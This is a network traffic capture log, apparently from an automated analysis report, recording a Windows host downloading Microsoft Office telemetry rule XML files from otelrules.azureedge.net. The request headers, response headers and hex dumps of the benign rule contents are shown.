2024-10-06 12:08:40 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:40 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: d3d0b776-b01e-003d-1803-17d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120840Z-1657d5bbd48xdq5dkwwugdpzr0000000025g00000000haeh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:40 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	57202	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:40 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 20b36261-201e-006e-7102-17bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120840Z-1657d5bbd48p2j6x2quer0q028000000025g000000006wgx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	57205	13.107.246.45	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:40 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 81e42967-c01e-0014-5ee9-16a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120841Z-1657d5bbd48vlsxxpe15ac3q7n00000001tg00000000h6fx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	57204	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:40 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:40 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f57b7c9f-801e-00a0-4a13-172196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120840Z-1657d5bbd48q6t9vvmrkd293mg00000001x000000000a9cv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:41 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	57206	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:41 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:41 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 6be05283-001e-00a2-2700-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120841Z-1657d5bbd48sdh4cyzadbb374800000001tg000000008x53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:41 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	57207	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:41 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:41 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 40323690-a01e-0002-0100-175074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120841Z-1657d5bbd48xsz2nuzq4vfrzg800000001qg00000000hf28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:41 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	57208	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:41 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:41 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: c530354f-501e-0016-5013-17181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120841Z-1657d5bbd48xdq5dkwwugdpzr000000002c0000000000efc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:41 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	57210	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:41 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d415a278-e01e-0051-6efe-1684b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120841Z-1657d5bbd48f7nlxc7n5fnfzh000000001mg000000008qrc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	57209	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:41 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:41 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 7cec3a6f-e01e-0033-3414-174695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120841Z-1657d5bbd487nf59mzf5b3gk8n00000001q00000000022hn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:41 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	57211	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:41 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:41 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 688d2aae-a01e-0084-3466-179ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120841Z-1657d5bbd487nf59mzf5b3gk8n00000001n0000000006dk2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:41 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	57212	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:42 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:42 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 10df1352-f01e-00aa-105a-178521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120842Z-1657d5bbd48dfrdj7px744zp8s00000001r0000000008gzn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:42 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	57213	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:42 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:42 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: b27116a7-a01e-003d-3a00-1798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120842Z-1657d5bbd48jwrqbupe3ktsx9w000000021000000000kk0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:42 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
